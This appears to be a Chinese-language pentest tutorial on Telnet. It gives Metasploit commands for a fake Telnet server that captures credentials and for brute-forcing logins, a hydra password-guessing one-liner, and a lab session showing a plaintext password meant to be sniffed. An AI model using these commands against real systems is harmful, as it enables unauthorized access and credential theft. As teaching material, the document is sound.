使用Telnet可远程登录机器，Telnet 是一种客户端-服务器协议，默认端口是23。由于Telnet是 **<font style="color:#DF2A3F;">明文协议、可通过网络嗅探获取明文凭据</font>**，现已被SSH取代，Windows和Linux都默认此服务不开启。

当然这只是一个简单介绍,如果想知道具体细节查看:Telnet 详解

  1. # 连接远程机器telnet服务
  2. telnet 192.168.0.196 [23]
  4. # 测试远程机器端口是否开启
  5. telnet [domain name or ip] [port]

漏洞

存在各种 RCE 漏洞可以进行尝试

  • 暴力破解账号
  • 流量监听

伪装Telnet服务，诱骗凭据

  1. use auxiliary/server/capture/telnet
  2. set srvhost 192.168.0.102
  3. set banner Welcome to Hacking Articles
  4. exploit

Telnet - 图1

Brute Forcing

  1. use auxiliary/scanner/telnet/telnet_login
  2. msf auxiliary(telnet_login) > set rhosts 192.168.0.196
  3. msf auxiliary(telnet_login) > set user_file /root/Desktop/user.txt
  4. msf auxiliary(telnet_login) > set pass_file /root/Desktop/pass.txt
  5. msf auxiliary(telnet_login) > set stop_on_success true
  6. msf auxiliary(telnet_login) > exploit
  1. hydra -l root -P /root/SecLists/Passwords/10_million_password_list_top_100.txt 192.168.1.101 telnet

流量监听

Telnet - 图2

Telenet 协议在连接时会被要求输入用户名和密码,正确验证后,用户就可以访问远程终端, 但是 交互数据没有加密.

现在我们举一个例子,我们进行远程连接目标:

  1. pentester@TryHackMe$ telnet MACHINE_IP
  2. Trying MACHINE_IP...
  3. Connected to MACHINE_IP.
  4. Escape character is '^]'.
  5. Ubuntu 20.04.3 LTS
  6. bento login: frank
  7. Password: D2xc9CgD
  8. Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-84-generic x86_64)
  10.  * Documentation:  https://help.ubuntu.com
  11.  * Management:     https://landscape.canonical.com
  12.  * Support:        https://ubuntu.com/advantage
  14.   System information as of Fri 01 Oct 2021 12:24:56 PM UTC
  16.   System load:  0.05              Processes:              243
  17.   Usage of /:   45.7% of 6.53GB   Users logged in:        1
  18.   Memory usage: 15%               IPv4 address for ens33: MACHINE_IP
  19.   Swap usage:   0%
  21.  * Super-optimized for small spaces - read how we shrank the memory
  22.    footprint of MicroK8s to make it the smallest full K8s around.
  24.    https://ubuntu.com/blog/microk8s-memory-optimisation
  26. 0 updates can be applied immediately.
  29. *** System restart required ***
  30. Last login: Fri Oct  1 12:17:25 UTC 2021 from meiyo on pts/3
  31. You have mail.
  32. frank@bento:~$

这时候如果我们抓取流量我们就可以看到数据在流量包中的形式:

Telnet - 图3